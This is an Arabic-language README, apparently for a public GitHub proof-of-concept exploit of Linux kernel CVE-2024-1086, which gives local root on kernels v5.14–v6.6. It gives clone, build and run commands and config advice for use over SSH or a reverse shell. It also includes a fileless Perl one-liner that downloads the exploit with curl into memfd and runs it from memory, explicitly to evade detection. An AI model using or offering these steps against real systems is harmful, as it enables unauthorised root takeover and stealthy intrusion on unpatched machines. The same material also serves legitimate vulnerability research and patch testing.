
استغلال تصعيد الامتيازات المحلي لـ CVE-2024-1086 يستهدف نوى لينكس v5.14–v6.6 بمعدل نجاح 99.4% على KernelCTF. يتضمن دعم التنفيذ دون ملفات لاختبار الاختراق.
استغلال لإثبات المفهوم لتصعيد الامتيازات المحلية العالمي لـ CVE-2024-1086، يعمل على معظم نوى لينكس بين v5.14 و v6.6، بما في ذلك Debian و Ubuntu و KernelCTF. معدل النجاح هو 99.4% في صور KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
يمكن العثور على شرح كامل للاستغلال - بما في ذلك معلومات الخلفية والعديد من المخططات المفيدة - في مقال Flipping Pages.
يؤثر الاستغلال على الإصدارات من (بما في ذلك) v5.14 إلى (بما في ذلك) v6.6، باستثناء الفروع المصححة v5.15.149> و v6.1.76> و v6.6.15>. تم إصدار التصحيح لهذه الإصدارات في فبراير 2024. تؤثر الثغرة الأساسية على جميع الإصدارات (باستثناء الفروع المستقرة المصححة) من v3.15 إلى v6.8-rc1.
ملاحظات:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (بما في ذلك Ubuntu v6.5)CONFIG_USER_NS=y) وأن تكون مساحات الأسماء هذه غير مميزة (أمر sh sysctl kernel.unprivileged_userns_clone = 1)، وأن يتم تمكين nf_tables (kconfig CONFIG_NF_TABLES=y). افتراضيًا، كل هذه الأمور ممكّنة على Debian و Ubuntu و KernelCTF. لم يتم اختبار توزيعات أخرى، لكنها قد تعمل أيضًا. بالإضافة إلى ذلك، تم اختبار الاستغلال فقط على x64/amd64.القيم الافتراضية يجب أن تعمل فورًا على Debian و Ubuntu و KernelCTF باستخدام shell محلي. على الإعدادات/التوزيعات غير المختبرة، يرجى التأكد من أن قيم kconfig تتطابق مع نواة الهدف. يمكن تحديد هذه القيم في src/config.h. إذا كنت تشغل الاستغلال على جهاز به أكثر من 32GiB من الذاكرة الفعلية، تأكد من زيادة CONFIG_PHYS_MEM. إذا كنت تشغل الاستغلال عبر SSH (إلى الجهاز الهدف) أو reverse shell، قد ترغب في تعيين CONFIG_REDIRECT_LOG إلى 1 لتجنب النشاط الشبكي غير الضروري.
إذا كان هذا غير عملي بالنسبة لك، فهناك ملف ثنائي مُجمّع x64 مع الإعدادات الافتراضية.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
الملف الثنائي: CVE-2024-1086/exploit
تشغيل الاستغلال بنفس السهولة:
./exploit
التنفيذ بدون ملفات مدعوم أيضًا، في حالات اختبار الاختراق حيث يجب تجنب الكشف. ومع ذلك، يجب تثبيت Perl على الهدف:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
البرامج والنصوص البرمجية ("البرامج") في دليل/مجلد/مستودع البرامج هذا ("المستودع") يتم نشرها وتطويرها وتوزيعها لأغراض تعليمية/بحثية فقط. أنا ("المنشئ") لا أؤيد أي استخدام ضار أو غير قانوني للبرامج في هذا المستودع، حيث أن القصد هو مشاركة البحث وليس القيام بأنشطة غير قانونية به. أنا لست مسؤولاً قانونياً عن أي شيء تفعله بالبرامج في هذا المستودع.